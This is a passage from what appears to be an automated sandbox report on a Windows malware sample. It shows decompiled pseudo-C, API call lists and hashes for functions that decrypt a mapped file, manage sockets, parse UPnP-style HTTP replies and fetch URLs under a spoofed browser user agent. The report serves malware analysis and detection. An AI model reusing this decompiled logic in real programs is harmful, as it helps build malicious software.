				_v12 = 0;
				_v20 = 0;
				_v8 = 0;
				_v16 = CreateFileW(_a4, 0x80000000, 0, 0, 3, 0, 0);
				if(_v16 == 0xffffffff) {
					L12:
					if(_v8 != 0) {
						_v16 = CreateFileW(_a4, 0x40000000, 0, 0, 2, 0, 0);
						if(_v16 != 0xffffffff) {
							_v21 = 1;
							WriteFile(_v16, _v8, _v12,  &_v12, 0);
							CloseHandle(_v16);
						}
						E00408B60(_v8);
					}
					return _v21;
				}
				_v28 = CreateFileMappingW(_v16, 0, 2, 0, 0, 0);
				if(_v28 == 0) {
					L11:
					CloseHandle(_v16);
					goto L12;
				}
				_v32 = MapViewOfFile(_v28, 4, 0, 0, 0);
				if(_v32 == 0) {
					L10:
					CloseHandle(_v28);
					goto L11;
				} else {
					_v12 = GetFileSize(_v16, 0);
					if(_v12 > 0x100) {
						_t70 = E0040B0D0(_v32, _v32);
						_t103 = _t103 + 4;
						_v20 = _t70;
						if(_v20 != 0 && _v20[6] == _v12 - 0x100) {
							_v12 = _v20[6];
							_t73 = E0040AA70(_v32 + 0x100,  &(_v20[2]), 0x10, _v32 + 0x100, _v12);
							_t103 = _t103 + 0x10;
							_v8 = _t73;
							if(_v8 != 0) {
								E004093B0(_v8, _v12,  &_v48);
								_t103 = _t103 + 0xc;
								asm("repe cmpsd");
								if(0 != 0) {
									E00408B60(_v8);
									_t103 = _t103 + 4;
									_v8 = 0;
								}
							}
						}
					}
					UnmapViewOfFile(_v32);
					goto L10;
				}
			}














                                                                                                                                                                                                                                                                                                                                                      0x0040d0c8
                                                                                                                                                                                                                                                                                                                                                      0x0040d0cc
                                                                                                                                                                                                                                                                                                                                                      0x0040d0d3
                                                                                                                                                                                                                                                                                                                                                      0x0040d0da
                                                                                                                                                                                                                                                                                                                                                      0x0040d0fa
                                                                                                                                                                                                                                                                                                                                                      0x0040d101
                                                                                                                                                                                                                                                                                                                                                      0x0040d213
                                                                                                                                                                                                                                                                                                                                                      0x0040d217
                                                                                                                                                                                                                                                                                                                                                      0x0040d232
                                                                                                                                                                                                                                                                                                                                                      0x0040d239
                                                                                                                                                                                                                                                                                                                                                      0x0040d23b
                                                                                                                                                                                                                                                                                                                                                      0x0040d251
                                                                                                                                                                                                                                                                                                                                                      0x0040d25b
                                                                                                                                                                                                                                                                                                                                                      0x0040d25b
                                                                                                                                                                                                                                                                                                                                                      0x0040d265
                                                                                                                                                                                                                                                                                                                                                      0x0040d26a
                                                                                                                                                                                                                                                                                                                                                      0x0040d275
                                                                                                                                                                                                                                                                                                                                                      0x0040d275
                                                                                                                                                                                                                                                                                                                                                      0x0040d11b
                                                                                                                                                                                                                                                                                                                                                      0x0040d122
                                                                                                                                                                                                                                                                                                                                                      0x0040d209
                                                                                                                                                                                                                                                                                                                                                      0x0040d20d
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d20d
                                                                                                                                                                                                                                                                                                                                                      0x0040d13a
                                                                                                                                                                                                                                                                                                                                                      0x0040d141
                                                                                                                                                                                                                                                                                                                                                      0x0040d1ff
                                                                                                                                                                                                                                                                                                                                                      0x0040d203
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d147
                                                                                                                                                                                                                                                                                                                                                      0x0040d153
                                                                                                                                                                                                                                                                                                                                                      0x0040d15d
                                                                                                                                                                                                                                                                                                                                                      0x0040d167
                                                                                                                                                                                                                                                                                                                                                      0x0040d16c
                                                                                                                                                                                                                                                                                                                                                      0x0040d16f
                                                                                                                                                                                                                                                                                                                                                      0x0040d176
                                                                                                                                                                                                                                                                                                                                                      0x0040d18f
                                                                                                                                                                                                                                                                                                                                                      0x0040d1a9
                                                                                                                                                                                                                                                                                                                                                      0x0040d1ae
                                                                                                                                                                                                                                                                                                                                                      0x0040d1b1
                                                                                                                                                                                                                                                                                                                                                      0x0040d1b8
                                                                                                                                                                                                                                                                                                                                                      0x0040d1c6
                                                                                                                                                                                                                                                                                                                                                      0x0040d1cb
                                                                                                                                                                                                                                                                                                                                                      0x0040d1de
                                                                                                                                                                                                                                                                                                                                                      0x0040d1e0
                                                                                                                                                                                                                                                                                                                                                      0x0040d1e6
                                                                                                                                                                                                                                                                                                                                                      0x0040d1eb
                                                                                                                                                                                                                                                                                                                                                      0x0040d1ee
                                                                                                                                                                                                                                                                                                                                                      0x0040d1ee
                                                                                                                                                                                                                                                                                                                                                      0x0040d1e0
                                                                                                                                                                                                                                                                                                                                                      0x0040d1b8
                                                                                                                                                                                                                                                                                                                                                      0x0040d176
                                                                                                                                                                                                                                                                                                                                                      0x0040d1f9
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d1f9

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040D0F4
                                                                                                                                                                                                                                                                                                                                                      • CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040D115
                                                                                                                                                                                                                                                                                                                                                      • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040D134
                                                                                                                                                                                                                                                                                                                                                      • GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D14D
                                                                                                                                                                                                                                                                                                                                                      • UnmapViewOfFile.KERNEL32(00000000), ref: 0040D1F9
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0040D203
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 0040D20D
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040D22C
                                                                                                                                                                                                                                                                                                                                                      • WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040D251
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 0040D25B
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$CloseCreateHandle$View$MappingSizeUnmapWrite
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 171974401-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a871ea3ee36124f8f201eb21574472333d6488282e1205a3daf4965f6c863438
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 9f0382f089f225363bc7f55b437f03b50d7b6b351693f58f9837866169394b9b
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a871ea3ee36124f8f201eb21574472333d6488282e1205a3daf4965f6c863438
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 16515FB5E00208FBDB14DBE4CC49BDFB775AB48700F208569E6117B2C0D7B9AA45CB94
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040E730 Relevance: 13.6, APIs: 9, Instructions: 141COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 79%
                                                                                                                                                                                                                                                                                                                                                      			E0040E730(void* __eax, long __ebx, void* __ecx, short _a4, short _a6) {
				long _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				void* __esi;
				intOrPtr _t59;
				intOrPtr _t64;
				void* _t73;
				void* _t106;
				void* _t108;

				_t108 = __eax;
				_t106 = __ecx;
				if(_a4 != 0 || __ebx == 0) {
					InterlockedDecrement(_t108 + 0x14);
					_a4 = 1;
					_t59 =  *((intOrPtr*)(_t106 + 0x260));
					 *((char*)(_t106 + 0x275)) = 1;
					_a6 = 0;
					__imp__#21(_t59, 0xffff, 0x80,  &_a4, 4);
					__imp__#3( *((intOrPtr*)(_t106 + 0x260)));
					 *((intOrPtr*)(_t106 + 0x260)) = 0xffffffff;
					return _t59;
				}
				InterlockedExchange(_t106 + 4, E0040BD50());
				_t64 =  *((intOrPtr*)(_t108 + 0x18));
				if(_t64 == 0) {
					if( *((char*)(_t106 + 0x275)) == 0) {
						 *((intOrPtr*)(_t108 + 0x28)) =  *((intOrPtr*)(_t108 + 0x28)) + __ebx;
						if( *((intOrPtr*)(_t108 + 0x28)) >=  *((intOrPtr*)(_t108 + 0x24))) {
							InterlockedDecrement(_t108 + 0x14);
							_v24 =  *((intOrPtr*)(_t106 + 0x268));
							_v20 =  *((intOrPtr*)(_t106 + 0x26c));
							_v12 =  *((intOrPtr*)(_t106 + 0x278));
							_v28 =  *((intOrPtr*)(_t106 + 0x264));
							_v8 =  *((intOrPtr*)(_t108 + 0x30));
							_v16 =  *((intOrPtr*)(_t106 + 0x270));
							_v4 =  *((intOrPtr*)(_t108 + 0x28));
							return E0040E110(2, _t106,  *((intOrPtr*)(_t106 + 0x27c)),  &_v28);
						} else {
							 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t108 + 0x20)) + __ebx;
							 *((intOrPtr*)(_t108 + 0x1c)) =  *((intOrPtr*)(_t108 + 0x1c)) - __ebx;
							_push(_t106);
							return E0040E4B0(_t108);
						}
					} else {
						return InterlockedDecrement(_t108 + 0x14);
					}
				} else {
					_t73 = _t64 - 1;
					if(_t73 != 0) {
						L14:
						return _t73;
					} else {
						if( *((intOrPtr*)(_t106 + 0x275)) == _t73) {
							InterlockedDecrement(_t106 + 0x21c);
							InterlockedExchangeAdd( *((intOrPtr*)(_t106 + 0x27c)) + 0x44, __ebx);
							_v28 =  *((intOrPtr*)(_t106 + 0x264));
							_v24 =  *((intOrPtr*)(_t106 + 0x268));
							_v16 =  *((intOrPtr*)(_t106 + 0x270));
							_v20 =  *((intOrPtr*)(_t106 + 0x26c));
							_v12 =  *((intOrPtr*)(_t106 + 0x278));
							_v8 = _t106 + 8;
							_v4 = __ebx;
							E0040E110(3, _t106,  *((intOrPtr*)(_t106 + 0x27c)),  &_v28);
							_t73 = E0040E6C0(_t106);
							if(_t73 != 0) {
								goto L14;
							} else {
								 *((char*)(_t106 + 0x275)) = 1;
								return _t73;
							}
						} else {
							return InterlockedDecrement(_t106 + 0x21c);
						}
					}
				}
			}
















                                                                                                                                                                                                                                                                                                                                                      0x0040e73a
                                                                                                                                                                                                                                                                                                                                                      0x0040e73c
                                                                                                                                                                                                                                                                                                                                                      0x0040e73e
                                                                                                                                                                                                                                                                                                                                                      0x0040e8c6
                                                                                                                                                                                                                                                                                                                                                      0x0040e8dd
                                                                                                                                                                                                                                                                                                                                                      0x0040e8e2
                                                                                                                                                                                                                                                                                                                                                      0x0040e8f0
                                                                                                                                                                                                                                                                                                                                                      0x0040e8f7
                                                                                                                                                                                                                                                                                                                                                      0x0040e8fc
                                                                                                                                                                                                                                                                                                                                                      0x0040e909
                                                                                                                                                                                                                                                                                                                                                      0x0040e90f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e90f
                                                                                                                                                                                                                                                                                                                                                      0x0040e756
                                                                                                                                                                                                                                                                                                                                                      0x0040e75f
                                                                                                                                                                                                                                                                                                                                                      0x0040e762
                                                                                                                                                                                                                                                                                                                                                      0x0040e825
                                                                                                                                                                                                                                                                                                                                                      0x0040e837
                                                                                                                                                                                                                                                                                                                                                      0x0040e840
                                                                                                                                                                                                                                                                                                                                                      0x0040e85b
                                                                                                                                                                                                                                                                                                                                                      0x0040e873
                                                                                                                                                                                                                                                                                                                                                      0x0040e87d
                                                                                                                                                                                                                                                                                                                                                      0x0040e884
                                                                                                                                                                                                                                                                                                                                                      0x0040e888
                                                                                                                                                                                                                                                                                                                                                      0x0040e892
                                                                                                                                                                                                                                                                                                                                                      0x0040e8a1
                                                                                                                                                                                                                                                                                                                                                      0x0040e8b0
                                                                                                                                                                                                                                                                                                                                                      0x0040e8c1
                                                                                                                                                                                                                                                                                                                                                      0x0040e842
                                                                                                                                                                                                                                                                                                                                                      0x0040e842
                                                                                                                                                                                                                                                                                                                                                      0x0040e845
                                                                                                                                                                                                                                                                                                                                                      0x0040e848
                                                                                                                                                                                                                                                                                                                                                      0x0040e856
                                                                                                                                                                                                                                                                                                                                                      0x0040e856
                                                                                                                                                                                                                                                                                                                                                      0x0040e827
                                                                                                                                                                                                                                                                                                                                                      0x0040e836
                                                                                                                                                                                                                                                                                                                                                      0x0040e836
                                                                                                                                                                                                                                                                                                                                                      0x0040e768
                                                                                                                                                                                                                                                                                                                                                      0x0040e768
                                                                                                                                                                                                                                                                                                                                                      0x0040e76b
                                                                                                                                                                                                                                                                                                                                                      0x0040e91e
                                                                                                                                                                                                                                                                                                                                                      0x0040e91e
                                                                                                                                                                                                                                                                                                                                                      0x0040e771
                                                                                                                                                                                                                                                                                                                                                      0x0040e777
                                                                                                                                                                                                                                                                                                                                                      0x0040e793
                                                                                                                                                                                                                                                                                                                                                      0x0040e7a4
                                                                                                                                                                                                                                                                                                                                                      0x0040e7bc
                                                                                                                                                                                                                                                                                                                                                      0x0040e7c6
                                                                                                                                                                                                                                                                                                                                                      0x0040e7d0
                                                                                                                                                                                                                                                                                                                                                      0x0040e7d4
                                                                                                                                                                                                                                                                                                                                                      0x0040e7d8
                                                                                                                                                                                                                                                                                                                                                      0x0040e7ea
                                                                                                                                                                                                                                                                                                                                                      0x0040e7f6
                                                                                                                                                                                                                                                                                                                                                      0x0040e7fa
                                                                                                                                                                                                                                                                                                                                                      0x0040e804
                                                                                                                                                                                                                                                                                                                                                      0x0040e80b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e811
                                                                                                                                                                                                                                                                                                                                                      0x0040e811
                                                                                                                                                                                                                                                                                                                                                      0x0040e81d
                                                                                                                                                                                                                                                                                                                                                      0x0040e81d
                                                                                                                                                                                                                                                                                                                                                      0x0040e779
                                                                                                                                                                                                                                                                                                                                                      0x0040e78b
                                                                                                                                                                                                                                                                                                                                                      0x0040e78b
                                                                                                                                                                                                                                                                                                                                                      0x0040e777
                                                                                                                                                                                                                                                                                                                                                      0x0040e76b

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(?,00000000), ref: 0040E756
                                                                                                                                                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 0040E780
                                                                                                                                                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 0040E793
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(?,?), ref: 0040E7A4
                                                                                                                                                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 0040E82B
                                                                                                                                                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 0040E8C6
                                                                                                                                                                                                                                                                                                                                                      • setsockopt.WS2_32 ref: 0040E8FC
                                                                                                                                                                                                                                                                                                                                                      • closesocket.WS2_32(?), ref: 0040E909
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BD50: NtQuerySystemTime.NTDLL ref: 0040BD5A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BD50: RtlTimeToSecondsSince1980.NTDLL ref: 0040BD68
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 671207744-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 584f9aaf3cf43e9f5a76224dd5ce4f4ee39464d4bf8dd75d9bd4c531db799dc7
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: bf08bfb089cccb0d350598efede324d2cd87fe214d8a91e4e45fb32bb93ae6b1
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 584f9aaf3cf43e9f5a76224dd5ce4f4ee39464d4bf8dd75d9bd4c531db799dc7
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F651BF75608B01ABC704DF39D488B97FBE4BFC8314F408A2EE49D83351D735A5588BA6
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C380 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60sleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 79%
                                                                                                                                                                                                                                                                                                                                                      			E0040C380(intOrPtr __eax, intOrPtr _a4, intOrPtr* _a8) {
				char _v1028;
				char _v1029;
				intOrPtr _v1036;
				char* _v1040;
				char* _v1044;
				intOrPtr _t20;
				intOrPtr _t29;
				void* _t37;

				_t20 = __eax;
				_v1029 = 0;
				_v1036 = 0;
				while(_v1036 < 2) {
					__imp__#17(_a4,  &_v1028, 0x400, 0, 0, 0);
					if(_t20 != 0xffffffff) {
						_v1029 = 1;
						if(StrCmpNIA( &_v1028, "HTTP/1.1 200 OK", 0xf) == 0) {
							_v1040 = StrStrIA( &_v1028, "LOCATION: ");
							if(_v1040 != 0) {
								_v1044 = _v1040 + 0xa;
								_t29 = E0040B180(_v1044, _v1044, StrChrA(_v1044, 0xd) - _v1044);
								_t37 = _t37 + 8;
								 *_a8 = _t29;
							}
						}
					} else {
						Sleep(0x3e8);
					}
					_t20 = _v1036 + 1;
					_v1036 = _t20;
				}
				return _v1029;
			}











                                                                                                                                                                                                                                                                                                                                                      0x0040c380
                                                                                                                                                                                                                                                                                                                                                      0x0040c389
                                                                                                                                                                                                                                                                                                                                                      0x0040c390
                                                                                                                                                                                                                                                                                                                                                      0x0040c3ab
                                                                                                                                                                                                                                                                                                                                                      0x0040c3ce
                                                                                                                                                                                                                                                                                                                                                      0x0040c3d7
                                                                                                                                                                                                                                                                                                                                                      0x0040c3e6
                                                                                                                                                                                                                                                                                                                                                      0x0040c403
                                                                                                                                                                                                                                                                                                                                                      0x0040c417
                                                                                                                                                                                                                                                                                                                                                      0x0040c424
                                                                                                                                                                                                                                                                                                                                                      0x0040c42f
                                                                                                                                                                                                                                                                                                                                                      0x0040c452
                                                                                                                                                                                                                                                                                                                                                      0x0040c457
                                                                                                                                                                                                                                                                                                                                                      0x0040c45d
                                                                                                                                                                                                                                                                                                                                                      0x0040c45d
                                                                                                                                                                                                                                                                                                                                                      0x0040c424
                                                                                                                                                                                                                                                                                                                                                      0x0040c3d9
                                                                                                                                                                                                                                                                                                                                                      0x0040c3de
                                                                                                                                                                                                                                                                                                                                                      0x0040c3de
                                                                                                                                                                                                                                                                                                                                                      0x0040c3a2
                                                                                                                                                                                                                                                                                                                                                      0x0040c3a5
                                                                                                                                                                                                                                                                                                                                                      0x0040c3a5
                                                                                                                                                                                                                                                                                                                                                      0x0040c46d

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040C3CE
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 0040C3DE
                                                                                                                                                                                                                                                                                                                                                      • StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040C3FB
                                                                                                                                                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040C411
                                                                                                                                                                                                                                                                                                                                                      • StrChrA.SHLWAPI(?,0000000D), ref: 0040C43E
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Sleeprecvfrom
                                                                                                                                                                                                                                                                                                                                                      • String ID: HTTP/1.1 200 OK$LOCATION:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 668330359-3973262388
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 36c585dfc041e8c4902b72e65f85d0a6872a6bf4aad077134a3245f0e93a3562
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 7a7b0d5e68f94ec381199072852bac281f708bbc84c30083d73ab251a676ba50
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 36c585dfc041e8c4902b72e65f85d0a6872a6bf4aad077134a3245f0e93a3562
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C52192B0900218EBDB20CB64DC85BE97774BB04308F10C6E9E709762C0C7B95AC68F5C
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D330 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57networksleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040D330(char* _a4, intOrPtr* _a8) {
				void* _v8;
				char _v9;
				void* _v16;
				void _v20;
				long _v24;

				_v9 = 0;
				_v16 = InternetOpenA("Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36", 1, 0, 0, 0);
				if(_v16 != 0) {
					_v8 = InternetOpenUrlA(_v16, _a4, 0, 0, 0, 0);
					if(_v8 != 0) {
						_v24 = 4;
						HttpQueryInfoA(_v8, 0x20000005,  &_v20,  &_v24, 0);
						if(_v20 > 0x1388 && _v20 !=  *_a8) {
							 *_a8 = _v20;
							_v9 = 1;
						}
						InternetCloseHandle(_v8);
					}
					InternetCloseHandle(_v16);
				}
				Sleep(0x3e8);
				return _v9;
			}








                                                                                                                                                                                                                                                                                                                                                      0x0040d336
                                                                                                                                                                                                                                                                                                                                                      0x0040d34d
                                                                                                                                                                                                                                                                                                                                                      0x0040d354
                                                                                                                                                                                                                                                                                                                                                      0x0040d36c
                                                                                                                                                                                                                                                                                                                                                      0x0040d373
                                                                                                                                                                                                                                                                                                                                                      0x0040d375
                                                                                                                                                                                                                                                                                                                                                      0x0040d38f
                                                                                                                                                                                                                                                                                                                                                      0x0040d39c
                                                                                                                                                                                                                                                                                                                                                      0x0040d3ae
                                                                                                                                                                                                                                                                                                                                                      0x0040d3b0
                                                                                                                                                                                                                                                                                                                                                      0x0040d3b0
                                                                                                                                                                                                                                                                                                                                                      0x0040d3b8
                                                                                                                                                                                                                                                                                                                                                      0x0040d3b8
                                                                                                                                                                                                                                                                                                                                                      0x0040d3c2
                                                                                                                                                                                                                                                                                                                                                      0x0040d3c2
                                                                                                                                                                                                                                                                                                                                                      0x0040d3cd
                                                                                                                                                                                                                                                                                                                                                      0x0040d3d9

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenA.WININET(Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040D347
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040D366
                                                                                                                                                                                                                                                                                                                                                      • HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040D38F
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040D3B8
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040D3C2
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 0040D3CD
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36, xrefs: 0040D342
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
                                                                                                                                                                                                                                                                                                                                                      • String ID: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2743515581-3364014121
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 7cae087ba8c48712e4558e2fa8863d05e34ae6eba76b609dec4af7faf417dc59
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c00a9465ac8772b46349142f40b77b511ad80e66adb96f430c78034538f9682e
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7cae087ba8c48712e4558e2fa8863d05e34ae6eba76b609dec4af7faf417dc59
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E121FC74E40208FBDB11DF94CC49FDEB7B5AB04705F108565FA116B2C0C7B96A44CB59
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404560 Relevance: 12.1, APIs: 8, Instructions: 97fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00404560() {
				void* _v8;
				void* _v12;
				void* _v16;
				long _v20;
				void* _v24;
				intOrPtr _v28;
				void* _t35;
				intOrPtr _t45;
				void* _t66;
				void* _t67;

				InitializeCriticalSection(0x414c50);
				_t35 = CreateFileW(0x414e80, 0x80000000, 0, 0, 3, 0, 0);
				_v8 = _t35;
				if(_v8 != 0xffffffff) {
					_v12 = CreateFileMappingW(_v8, 0, 2, 0, 0, 0);
					if(_v12 == 0) {
						L14:
						return CloseHandle(_v8);
					}
